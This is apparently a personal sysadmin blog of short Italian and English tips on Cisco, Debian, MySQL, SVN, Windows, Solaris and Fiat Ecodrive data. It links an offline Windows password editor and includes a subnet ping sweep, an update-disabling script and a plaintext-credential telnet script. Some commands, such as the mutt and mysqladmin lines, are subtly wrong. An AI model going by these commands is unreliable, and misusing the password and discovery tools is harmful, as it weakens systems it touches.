Di default il server è in ascolto sulla porta 8180 quindi per accedere andare all’indirizzo:
http://ipserver:8180/
Nota: nel mio caso ho usato il pacchetto jdk5 che contiene il java 1.5.0 è disponibile anche a scelta il pacchetto 1.6.0 ovviamente di chiama jdk6
Miaoo – Tomcat su Debian Read More »
During a raining night..
Syslog tail:
Jul 18 03:02:18 pbx01 kernel: [265460.092056] >>>>>>>>> Dump Card State Begins <<<<<<<<
Jul 18 03:02:18 pbx01 kernel: [265460.092059] scsi0: Dumping Card State in Command phase,/
at SEQADDR 0x157
Jul 18 03:02:18 pbx01 kernel: [265460.092063] Card was paused
[cut]
Jul 18 03:02:18 pbx01 kernel: [265460.092511] Pending list:
Jul 18 03:02:18 pbx01 kernel: [265460.092514] 6 SCB_CONTROL[0x60]:(TAG_ENB|DISCENB)
Jul 18 03:02:18 pbx01 kernel: [265460.092521] SCB_SCSIID[0x7] SCB_LUN[0x0]
Jul 18 03:02:18 pbx01 kernel: [265460.092526] 2 SCB_CONTROL[0x74]: /
(DISCONNECTED|MK_MESSAGE|TAG_ENB|DISCENB)
Jul 18 03:02:18 pbx01 kernel: [265460.092534] SCB_SCSIID[0x7] SCB_LUN[0x0]
Jul 18 03:02:18 pbx01 kernel: [265460.092539] 3 SCB_CONTROL[0x0] SCB_SCSIID[0x7] SCB_LUN[0x0]
Jul 18 03:02:18 pbx01 kernel: [265460.092547] Kernel Free SCB list: 7 1 4 5 11 10 9 8
Jul 18 03:02:18 pbx01 kernel: [265460.092556]
Jul 18 03:02:18 pbx01 kernel: [265460.092558] <<<<<<<<< Dump Card State Ends >>>>>>>>>
Jul 18 03:02:18 pbx01 kernel: [265460.092570] scsi0:0:0:0: Cmd aborted from QINFIFO
Jul 18 03:02:18 pbx01 kernel: [265460.092579] aic7xxx_abort returns 0x2002
Jul 18 03:02:18 pbx01 kernel: [265460.092590] sd 0:0:0:0: [sda] Attempting to queue a TARGET RESET message
Jul 18 03:02:18 pbx01 kernel: [265460.092594] CDB: 0x2a 0x0 0x0 0x5a 0xf3 0xbc 0x0 0x0 0x8 0x0
Jul 18 03:02:18 pbx01 kernel: [265460.092604] aic7xxx_dev_reset returns 0x2003
Jul 18 03:02:18 pbx01 kernel: [265460.092655] Recovery SCB completes
Jul 18 03:02:18 pbx01 kernel: [265460.092696] Recovery SCB completes
pbx01:/#
pbx01:/# Timeout, server not responding.
leobook2-w:~ leonardorizzi$
Ouch!
Non ho mai trovato la giusta implementazione per usarla, ma questo dovrebbe copiare la configurazione di apparati cisco automaticamente ad ogni salvataggio:
archive
path scp://leo:xxxxxx@hostname/home/leo/router-backups/router
write-memory
Cisco – Autosave scp Read More »
Just another link of useful utility:
http://home.eunet.no/pnordahl/ntpasswd/
http://pogostick.net/~pnh/ntpasswd/
Offline Windows password & registry editor Read More »
If you wanna to dump windows event log, in readable format form debug youre fucking .NET application running on IIS you can do this:
Fist of all you need a special tool for this “dumpel.exe” (in pure Microsoft style) part of Windows Resource Kit 2000 (yeah only 9 year ago):
You can download from http://support.microsoft.com/kb/927229
Then create a bat or vbs file with this command:
dumpel.exe -l Application -f "\\path-to\app_log\app_all.csv"
Dump System log on Windows Read More »
If you are running Cisco’s VPN Client on Mac OSX, you might be familiar with (or tormented by) “Error 51: Unable to communicate with the VPN subsystem”. The simple fix is to quit VPN Client, open a Terminal window, (Applications -> Utilities -> Terminal) and type the following from root user:
# /System/Library/StartupItems/CiscoVPN/CiscoVPN restart
Stopping Cisco Systems VPN Driver
kextunload: unload kext /System/Library/Extensions/CiscoVPN.kext succeeded
Starting Cisco Systems VPN Driver
kextload: /System/Library/Extensions/CiscoVPN.kext loaded successfully
Mac OS X – Cisco VPN Client Read More »
Potete vedere a che punto sono del viaggio da qui:
Da Amman ad Istambul partenza ore 3:30
Da Istambul a Milano partenza ore 8:05
Gli orari sono espressi con il fuso locale data 20/04.
Tracking voli di ritorno. Read More »
Potete vedere a che punto sono del viaggio da qui:
Da Milano a Istanbul partenza ore 11:00
Da Istanbul ad Amman partenza ore 19:05
Gli orari sono espressi con il fuso locale data 14/04.
Tracking voli di andata. Read More »
On Router IOS:
To stop the page breaks:
# terminal length 0
To resume them:
# terminal no length 0 (or number ex. 24)
On Pix/ASA:
To stop the page breaks.
# no pager
To resume them:
# pager 24
Cisco – page breaks Read More »
Vi è mai capitato di dover salvare delle configurazione da apparati cisco senza avere un tftp a disposizione?
In aiuto un piccolo script:
#!/bin/bash
host=xx.xx.xx.xx
port=23
login=user
passwd=pass
nobreak='terminal length 0'
cmd='show running-config all'
(echo open ${host} ${port}
sleep 1
echo ${login}
sleep 1
echo ${passwd}
sleep 1
echo ${nobreak}
sleep 1
echo ${cmd}
sleep 30
echo exit) | telnet > sw01.txt
Cisco – Get & Save config using telnet Read More »
Thank you for your message. I’m currently out of office, with limited access to e-mail.
I will be returning on 22/04
For very urgent issues, you may reach me at +393939878975
Leonardo Rizzi
—
Leonardo Rizzi – System & Network Architect
HostingLab (Skillnet Srl)
Viale E. Jenner 30
20159 – Milano
Office: +39 025457173
Mobile: +39 3939878975
www.hostinglab.it
Out of Office automatic reply Read More »
– Creating the repositories
If you have not created any subversion repositories yet, you can create one with svnadmin:
# svnadmin create ~/my-repository
– Tweaking svnserve.conf
Open up and edit the svnserve.conf file located in the $HOME/my-repo/conf/ directory.
#
# Sample $HOME/my-repo/conf/svnserve.conf
#
[general]# Path to the file containing svn users and passwords.
password-db = $HOME/my-repo/conf/passwd# Authentication realm of the repository. Two repositories using the
# same password-db should have the same realm.
realm = My-test-repository# Deny all anonymous access
anon-access = none# Grant authenticated users read and write privileges
auth-access = write
– Setting up password authentication
Open up and edit the password-db file (ie. $HOME/my-repo/conf/passwd). A sample entry might look like this:
[users]
user1 = password1
user2 = password2
– Starting up the server
Run the server by invoking svnserve with the -d switch (daemon mode) and –listen-host 1.2.3.4 (substituting 1.2.3.4 for your v-host IP address).
# svnserve -d –listen-host 1.2.3.4 -r $HOME/my-repo
To ensure that your svnserve gets started whenever the server is booted, you must add a @reboot line to your crontab. Use the crontab -e command to bring up your crontab in your favorite text editor and add the following line:
@reboot svnserve -d –listen-host 1.2.3.4 -r $HOME/my-repo
– Testing the server
To test the server’s functionality, you can create a working copy of your repository using your shell. The checkout command will create a working copy of the repository:
# svn co svn://your-domain.com/$HOME/my-repo my-working-dir
# cd my-working-dir
# echo “foo bar” > test-file
# svn add test-file
# svn remove test-file
# svn commit
Configuring the svnserve daemon Read More »
– Creating the repository
If you have not created any Subversion repositories yet, you can create one with svnadmin:
# svnadmin create ~/my-repository
Adding mod_dav_svn to your httpd
# a2enmod mod_dav_svn
If you plan to use fine-grained permissions, load mod_authz_svn.so as well:
# a2enmod mod_authz_svn
– Configuring access to repositories
HTTP access to your repositories is defined using a <Location> section in your httpd.conf.
<Location /myproject>
DAV svn
SVNPath /home/myself/myrepos/myproject
AuthType Basic
AuthName “My project”
AuthUserFile /home/myself/private/myproject.pw
Order deny,allow
<LimitExcept GET PROPFIND OPTIONS REPORT>
Require valid-user
</LimitExcept>
</Location>
This entry would grant read-only access to everyone and write access to every user AuthUserFile. You can use the htpasswd utility to create or update this file, as described here.
The next entry grants read/write access to users in the AuthUserFile, and no access to anyone else.
<Location /myproject>
DAV svn
SVNPath /home/myself/myrepos/myproject
AuthType Basic
AuthName “My project”
AuthUserFile /home/myself/private/myproject.pw
Order deny,allow
Require valid-user
</Location>
The previous examples all define access on a per-repository basis. It is also possible to grant access from specific users to specific areas of the repository, using fine-grained permissions.
– Testing the repository
Using either a remote Subversion client or the standard svn command from your shell, you can generate your working copy of the repository with the checkout command. If you are accessing public data over a read-only account, you can use a standard http URL:
# svn co http://your-domain/myproject/
If you are accessing private data or using a read/write account, make sure to use an https URL:
# svn co https://your-domain/myproject/
The contents of public repositories are also accessible from a web browser. Keep in mind that search engines will try to index any public data, so you may want to use a robots.txt file.
– Using fine-grained permissions (optional)
You can allow or deny specific users read/write privileges on specific items within a repository using AuthzSVNAccessFile. If you use this directive, make sure the mod_authz_svn module is loaded.
<Location /repos>
DAV svn
SVNPath /home/myself/myrepos# Access Control via the authz module.
AuthzSVNAccessFile /home/myself/private/myrepos.acl
# Anonymous access is allowed. Prompt as needed.
Satisfy Any
Require valid-user
AuthType Basic
AuthName “My subversion repositories”
AuthUserFile /home/myself/private/myrepos.pw
</Location>
The file specified in AuthzSVNAccessFile is a plain text file which defines fine-grained access lists. Note that all path names specified are relative to the SVNPath.
#
# Allow anonymous read access to everything by default.
#
[/]
* = r#
# Grant alice and bob write access to all of /myproject1/.
#
[/myproject]
* = r
leo = rw
temp = rw#
# Grant carol and charlie write access to only /myproject/foo
#
[/myproject/foo]
leo= rw
temp = rw
Configuring subversion access over HTTP/DAV Read More »
If you have never set a root password for mysql, the server does not require a password at all for connecting as root. To setup root password for first time, use mysqladmin command at shell prompt as follows:
# mysqladmin -u root password NEWPASSWORD
However, if you want to change (or update) a root password, then you need to use following command
# mysqladmin -u root -p oldpassword newpass
Enter password:
Change MySQL password for other user
To change a normal user password you need to type (let us assume you would like to change password for leo):
# mysqladmin -u leo -p oldpassword newpass
Changing mysql root user password using mysql sql command
This is another method. mysql stores username and passwords in user table inside mysql database. You can directly update password using the following method to update or change password for user leo:
1. Login to mysql server, type following command at shell prompt:
# mysql -u root -p
2. Use mysql database (type command at mysql> prompt):
mysql> use mysql;
3. Change password for user leo:
mysql> update user set password=PASSWORD(“NEWPASSWORD”) where User=’leo’;
4. Reload privileges:
mysql> flush privileges;
mysql> quit
MySQL Change Password Read More »
Visto che mi è capitato e mi dimentico sempre, proftpd nell’installazione standard (Debian per capirci) è attivo di defaultl l’ident del client, quindi colpa del reverse o colpa dei dns mal configurati la connessione risulta parecchio lenta nella fase di autenticazione.
Per risolvere:
#/etc/proftpd/proftpd.conf
IdentLookups no
ProFTP(D) – Ident Lookups Read More »
E così ho comprato una 500, come per le macchine di nuova produzione della Fiat a bordo hanno equipaggiato un sistema che si chiama Blue & Me un computer di bordo basato su Windows Mobile for Automotive, che tuttosommato non è neanche una scelta così pessima quando funziona.
Questa breve introduzione mi era necessaria per descrivere un software fornito dalla Fiat chiamato Ecodrive installabile sul computer di bordo dell’automobile. Nonostante il nome non è nientaltro che un datalogger dei dati di bordo come velocità, numero di giri del motore, temperature ecc. che salva tutto su una drive collegato alla porta usb della macchina.
Di base nasce tutto come un supporto alla guida che aiuti a migliorare lo stile al fine di ridurre i consumi..
Inutile dire che fa abbastanza ridere questa cosa come anche l’interfaccia grafica del software che lo rendo un giocattolo.
A questo punto dati + software indecente, nasce spontaneo eliminare una delle due cose e correre ai ripari.
I dati grezzi vengono salvati nel drive usb in /iFiat/ecoDrive/data/
in un file chiamato eddrm.-idnumericoauto-.bin
da lazyman non ho ancora trovato il significato di questo file quindi consiglio di passare allo step successivo che offre i dati già pronti.
Il software Ecodrive fornito è un’applicativo scritto in Adobe AIR ad occhio può sembrare una scelta di dubbia convenienza ma sul sito fiat ho avuto una grande sorpresa il download era disponibile anche per Mac OS X.
Ovviamente non sto a descrivere come installare e usare il programma quindi do per scontato che sia già stata fatta la prima importazione dei dati.
I dati sono stoccati sulla macchina locale in quattro file SQLite in una directory simile a questa:
/Users/username/Library/Preferences/com.fiat.convergence.-idnumerico-.1/Local Store/
ecoDrive.db (Questo file contiene di dati varibili del software come costo carburante e simili aggiornati automaticamente da internet)
ecoDriveCommunity.db (Questo file contiene i dati statistici della comunity usati per fare in confronto con i trend locali)
ecoDriveJourney.db (Questo file contiene i dati devi viaggi effettuati dai veicoli)
iFiat.db (Questo file contiene le configu razioni base del programma e veicoli)
I file si possono aprire con qualsiasi cosa supporti SQLite ad esempio io uso SQLite Database Browser per Mac OS X:
A noi serve il seguente file ecoDriveJourney.db in seguito illustro lo schema per tabelle:
Table: AccellerationBandData
Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: LowerSpeed (integer PRIMARY) valore numerico che esprime la velocità minima in km/h
Field: UpperSpeed (integer PRIMARY) valore numerico che esprime la velocità massima in km/h
Field: Acceleration (FLOAT) valore numerico positivo che esprime l’accellerazione in “g” per essere più chiari m/s2
Field: Deceleration (FLOAT) valore numerico negativo che esprime l’accellerazione in “g” per essere più chiari m/s2
Table: DatabaseVersion (questa tabella non contiene dati utili)
Table: DrivingCategoryScore
Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: JourneyCategoryId
Field: Score
Table: GearData
Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: Gear (integer PRIMARY) id numerico che indica la marcia 0 indica la retro
Field: AverageAcceleration (FLOAT) valore numerico positivo che esprime l’accellerazione in “g” per essere più chiari m/s2 per la singola marcia
Field: AverageDownshiftRPM (FLOAT) valore numerico che indica gli RPM minimi raggiunti con la marcia inserita
Field: AverageUpshiftRPM (FLOAT) valore numerico che indica gli RPM massimi raggiunti con la marcia inserita
Field: PercentUsage (FLOAT) sono ancora indeciso su questo dato non riesco ad interpretare i decimali
Field: AverageDeceleration (FLOAT) valore numerico negativo che esprime l’accellerazione in “g” per essere più chiari m/s2
Table: Journey
Field: Id (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: UserLocalId identificativo interno dell’autista
Field: VehicleLocalId identificativo interno del veicolo
Field: StartTime ora di inizione del viaggio espresso in unixtimestamp
Field: StartDate data di inizione del viaggio espresso in unixtimestamp
Field: EndTime ora fine di fine del viaggio espresso in unixtimestamp
Field: StartOdometer kilometri indicati dal tachimetro al momento di inizio del viaggio
Field: StopOdometer kilometri indicati dal tachimetro all fine del viaggio
Field: EcoIndex paramentro dell’ecodrive
Field: EcoIndexServerId paramentro dell’ecodrive
Field: EcoIndexServerAlgorithmVersion paramentro dell’ecodrive
Field: PricePerUnit costo del carburante
Field: FuelConsumed carburante usato
Field: JourneyType tipo di viaggio urbato/extraurbano viene calcolato in base a velocità massima e distanza, dato non reale
Field: ComputedServerFuelConsumption carburante usato
Field: ConsumptionUnit unità in cui è espresso il consumo
Field: TripDataCount ???
Table: TripAComputerData
Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp
Field: PartialOdometer inidica in kilometri quanto indica il tachimetro parziale
Field: AverageSpeed velocità media espressa in km/h
Field: AverageFuelConsumption: valore che esprime il consumo medio in litri per 100Km
Field: EventType tipo di viaggio urbano/extraurbano
Field: DistanceUnit indica con che unità sono espresse le distanze.
Table: TripData
Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp
Field: EngineSpeed RPM del motore
Field: VehicleSpeed velocità veicolo in Km/h
Field: IstantaneosFuelConsumption valore che esprime il consumo medio in litri per 100Km
Field: AverageFuelConsumption valore che esprime il consumo medio in litri per 100Km
Table: TripStatusData
Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp
Field: ExternalTemperature temperatura esterna espressa in gradi centigradi
Field: CompressorSts ???
Fiat Ecodrive – Database Read More »
Sono stufo di cliccare..
Const AU_DISABLED = 1
Set objAutoUpdate = CreateObject(“Microsoft.Update.AutoUpdate”)
Set objSettings = objAutoUpdate.SettingsobjSettings.NotificationLevel = AU_DISABLED
objSettings.Save
Windows – Disable automatic update from VBS Read More »
Hahahah,
I’m burst in laughter when I read this NTFS (under win 2000 or above) specific, obviously Microsoft called with Junction name.
Unfortunately, Windows comes with no tools for creating junctions, for use this funtion there’s two additional program:
– Get Resouce Kit and use “linkd” program
– Use “junction” program form Sysinternal tool
More info:
http://support.microsoft.com/?kbid=205524
http://technet.microsoft.com/en-us/sysinternals/bb896768.aspx
IIS 6 on Windows Server 2003 or R2 has a limit of 200 KB for ASP requests in general and file uploads. To change this limitation you need to edit the Metabase file, which can be found at c:\Windows\System32\Inetsrv\MetaBase.xml.
Follow these steps:
– Stop IIS from command line
iisreset /STOP
– Open MetaBase file, find the variable AspMaxRequestEntityAllowed limits the number of bytes in the page request (by default 200KB); change the value to 1073741824 (unlimited) or to a limit of your choice.
– Start IIS from command linet:
iisreset /START
There’s another way for do this change without stop the service but sincerly IIS is a Microsoft program, I’m no sure about this operation..
Go to IIS and right click the server, select Properties, and check the box “Allow changes to MetaBase configuration while IIS is running” then try to edit metbase file.
IIS maxupload limit ASP Read More »
Sometime we need to discover an entire subnet.
This is a small script not so fast but easy:
#!/bin/sh
subnet=10.10.10.
addr=1
while [ $addr -lt 256 ]; do
ping -c 1 -t 1 $subnet$addr > /dev/null && echo $subnet$addr Is Alive
let addr=addr+1
done
Discovery Subnet with Ping Read More »
Yes, is possibile don’t make lot of click to reconfigure network interfaces under Windows, using “netsh” command like this:
For set up static address and metric 1 gateway:
netsh interface ip set address name=”Local Area Connection” static ip.ip.ip.ip 255.255.255.0 gw.gw.gw.gw 1
For set up static dns:
netsh interface ip set dns “Local Area Connection” static xx.xx.xx.xx
netsh add dns “Local Area Connection” addr=xx.xx.xx.xx index=2
For setup ip by dhcp:
netsh interface ip set address name=”Local Area Connection” source=dhcp
netsh interface ip set dns name=”Local Area Connection” source=dhcp
Windows – Change IP from command line Read More »
iftop command listens to network traffic on a named network interface, or on the first interface it can find which looks like an external interface if none is specified, and displays a table of current bandwidth usage by pairs of hosts. iftop is a perfect tool for remote Linux server over ssh session.
iftop must be run by the root or the user who has sufficient permissions to monitor all network traffic on the network interface.
Type iftop command at tge shell prompt to display traffic:
# iftop
However, iftop works best when you use filters. For example, if you want to find out how much bandwidth users are wasting or trying to figure out why the network is slow,
# iftop -f icmp
You can display or analyses packet flowing in and out of the 192.168.1.0/24 network:
# iftop -F 192.168.1.0/24
Disable output for DNS traffic by using filter code such as:
# iftop -f 'not port domain'
iftop has many options read man page for further information.
The Linux command line can be very powerful once you know how to use it. You can parse data, monitor
Mutt:
One of major drawbacks of using the mail command is that it does not support the sending of attachments. mutt, on the other hand, does support it. I’ve found this feature particularly useful for scripts that generate non-textual reports or backups which are relatively small in size which I’d like to backup elsewhere. Of course, mutt allows you to do a lot more than just send attachments. It is a much more complete command line mail client than the “mail” command. Right now we’ll just explore the basic stuff we might need often. Here’s how you would attach a file to a mail:
# echo "Sending an attachment." | mutt -a backup.zip -s "attachment" leo@deepreflect.net
This command will send a mail to leo@deepreflect.net with the subject (-s) “attachment”, the body text “Sending an attachment.”, containing the attachment (-a) backup.zip. Like with the mail command you can use the “-c” option to mark a copy to another mail id.
Shell scripting:
Now, with the basics covered you can send mails from your shell scripts. Here’s a simple shell script that gives you a reading of the usage of space on your partitions and mails the data to you.
#!/bin/bash
df -h | mail -s "disk space report" leo@deepreflect.net
Save these lines in a file on your Linux server and run it. You should receive a mail containing the results of the command. If, however, you need to send more data than just this you will need to write the data to a text file and enter it into the mail body while composing the mail. Here’s and example of a shell script that gets the disk usage as well as the memory usage, writes the data into a temporary file, and then enters it all into the body of the mail being sent out:
#!/bin/bash
df -h > /tmp/mail_report.log
free -m >> /tmp/mail_report.log
mail -s "disk and RAM report" leo@deepreflect.net < /tmp/mail_report.log
Now here’s a more complicated problem. You have to take a backup of a few files and mail then out. First the directory to be mailed out is archived. Then it is sent as an email attachment using mutt. Here’s a script to do just that:
#!/bin/bash
tar -zcf /tmp/backup.tar.gz /home/leo/files
echo | mutt -a -s /tmp/backup.tar.gz "daily backup of data" leo@deepreflect.net
The echo at the start of the last line adds a blank into the body of the mail being set out.
Linux – Send mail from command line Read More »
Under Debian Linux startup files are stored in /etc/init.d/ directory and symbolic linked between /etc/rcX.d/ directory exists. Debian Linux uses System V initialization scripts to start services at boot time from /etc/rcX.d/ directory. Debian Linux comes with different utilities to remove unwanted startup file
Using rcconf:
This tool configures system services in connection with system runlevels. It turns on/off services using the scripts in /etc/init.d/. Rcconf works with System-V style runlevel configuration. It is a TUI(Text User Interface) frontend to the update-rc.d command.
Install rcconf in Debian:
#apt-get install rcconf
To start rconf, login as root user and type rcconf
# rcconf
Select the service you would like to enable or disable.
Using sysv-rc-conf:
sysv-rc-conf provides a terminal GUI for managing “/etc/rc{runlevel}.d/” symlinks. The interface comes in two different flavors, one that simply allows turning services on or off and another that allows for more fine tuned management of the symlinks. Unlike most runlevel config programs, you can edit startup scripts for any runlevel, not just your current one.
Install sysv-rc-conf in debian:
#apt-get install sysv-rc-conf
This will install sysv-rc-conf.Now you need to run the following command
# sysv-rc-conf
Select the service you would like to enable or disable.
Both sysv-rc-conf and rcconf are best tools to use on Remote Debian Linux or when GUI is not available
You can also use update-rc.d script as follows (update-rc.d removes any links in the /etc/rcX.d directories to the script /etc/init.d/service):
# update-rc.d -f {SERVICE-NAME} remove
For example to stop xinetd service you can type command as follows:
# update-rc.d -f xinetd remove
Debian – Service startup Read More »
# dpkg-reconfigure locales
Debian – Change installation language Read More »
Brevemente, come installare Asterisk su CentOS usando yum.
Partiamo dal indicare che ufficialmente CentOS nei sui repository non ha i pacchetti di asterisk, quindi è necessario utilizzarne degli altri, in particolare quelli di Trixbox che come ben sapere è basata su questa distribuzione.
Per primo, installare il plug-in che ci permette di gestire le priorità
[root@server ~]# yum install yum-priorities
Creare un file con il seguente contenuto e posizionarlo in /etc/yum.repos.d/ nominandolo con estensione .repo
[trixbox]
name=Trixbox – Repo
baseurl=http://yum.trixbox.org/centos/5/RPMS/
gpgcheck=0
priority=2
enabled=1
A questo punto è necessario inserire il campo “priority=1” negli altri .repo presenti nella directory e procedere con l’installazione di asterisk soddisfando le dipendenze relative ad esso con il repository di Trixbox per evitare incompatibilità.
Sicuramente se si lavora a stretto contatto con im mondo IP vi capiterà prima o poi di avere bisogno di un handle presso il database whois del RIPE.
Ogni oggetto specifico del RIPE ha necessità di avere un mantainer dell’oggetto stesso, dopo questa breve premessa possiamo andare sul sito del ripe nella sezione whois e iniziare le operazioni:
https://www.db.ripe.net/fcgi-bin/webupdates.pl
1. Person object
Create a new object: person
person: Leonardo Rizzi (nome completo)
address: Via 100 (via e numero civico)
address: 00000 Cità (CAP e paese)
address: Italy (stato)
phone: +39 00 000 000 (numero di telefono)
e-mail: lr@deepreflect.net (email)
nic-hdl: AUTO-1 (con questo permette di generare automaticamente l’handle)
changed: lr@deepreflect.net 19780225 (email e data di modifica anno mese giorno)
source: RIPE (sorgente dei dati)
Se tutto è corretto riceverete un messaggio simile: “Create SUCCEEDED: [person] LR1000-RIPE Leonardo Rizzi”
2. Maintainer object
Create a new object: mntner
mntner: LR-MNT (nome-MNT)
description: Maintainer for LR1000-RIPE (qui server una descrizione)
admin-c: LR1000-RIPE (la persona creata)
auth: MD5-PW password-criptata-md5 (se siete pigri usate webcrypt per generare l’hash)
mnt-by: LR-MNT (uguale a mntner)
referral-by: LR-MNT (uguale a mntner)
upd-to: lr@deepreflect.net (email)
changed: lr@deepreflect.net 19780225 (email e data di modifica anno mese giorno)
source: RIPE
Which should result in the following: [mntner] LR-MNT
3. Proteggere il person object
sempre da webupdate cercate -> LR1000-RIPE
aggiungete questi due elementi
mnt-by: LR-MNT
password: password (qui dovete inserire la vostra password in chiaro non l’hash)
A questo punto se non ci sono errore siete presenti nel ripe come persone e mantainer di vuoi stessi.
Questo è il metodo per fare un sorta di shaping/ratelimit sui catalyst 29xx sul traffico in ingresso su una determinata porta dello switch questo è utile c’è la necessità di limitare la banda in upload di un server, su questa serie c’è però un limite di step di 1Mbit/s nonstante l’immagine Lite o Lanbase il discorso non cambia. Questo sistema non permette di avere una situazione simmetrica quindi il traffico in uscita si può molto molto grezzamente limitare con un’altro sistema che descriverò in seguito.
Prima cosa creare una classmap con associata un acl:
class-map match-all M_P00
match access-group name A_P00
Seconda cosa definire la policy, che contiene l’associazione alla classmap:
policy-map P_P00
class M_P00
police 3000000 64000 exceed-action drop
La sintassi è “police” numero di banda allocata espressa in Bits/s, numero di burst espresso in Bytes poi l’azione in caso il limite venga superato nel mio caso sono 3Mbit/s con bust di 62 Kbyte
Terza cosa associamo la policy alla porta specifica dello switch:
interface FastEthernet0/1
service-policy input P_P00
Ultima cosa, l’acl ne mio caso seleziona tutto il traffico:
ip access-list extended A_P00
permit ip any any
Questo è un sistema grezzo per fare un ratelimit del traffico in uscita dallo switch:
interface FastEthernet0/1
srr-queue bandwidth limit 10
La parte numerica della sintassi è espressa in % sulla velocità della porta.
Cisco – Catalyst Shaping/Ratelimit Read More »
Per effettuare un backup del singolo database:
root@tardis:~#
mysqldump --database dbname > name_db.sql -u root -p
Queste sono opzioni utili:
–quick: effettua il dump direttamente sullo standard output;
–add-drop-table: inserisce le istruzioni di eliminare le tabelle esistenti prima di ricrearle;
–add-locks: blocca gli inserimenti;
–lock-tables: blocca la lettura;
Per fare un restore del singolo database:
root@tardis:~#
mysql --one-database dbname < name_db.sql -u root -p
MySQL Backup & Restore Read More »
Uso Solaris da quasi un anno ma non mi sono mai cimentato nell’uso delle famose Zones riassumendo i poche parole giusto per capire di cosa si parla dico: “operating system level virtualization”
bash-3.00# zonecfg -z Z01
Z01: No such zone configured
Use ‘create’ to begin configuring a new zone.
zonecfg:Z01> create -b
zonecfg:Z01> set zonepath=/zones/Z01
zonecfg:Z01> exit
bash-3.00# zoneadm -z Z01 install
Preparing to install zone <Z01>.
Creating list of files to copy from the global zone.
Copying <115072> files to the zone.
Initializing zone product registry.
Determining zone package initialization order.
Preparing to initialize <792> packages on the zone.
Initialized <792> packages on zone.
Zone <Z01> is initialized.
The file </zones/Z01/root/var/sadm/system/logs/install_log> contains a log of the zone installation.
bash-3.00#
bash-3.00# zonecfg -z Z01
zonecfg:Z01> add net
zonecfg:Z01> set address=10.0.0.1
zonecfg:Z01> set physical=hme0
zonecfg:Z01> end
zonecfg:Z01> verify
zonecfg:Z01> commit
zonecfg:Z01> exitbash-3.00# zoneadm -z Z01 boot
bash-3.00# zlogin -C Z01
Solaris – Zones, In the Beginning Read More »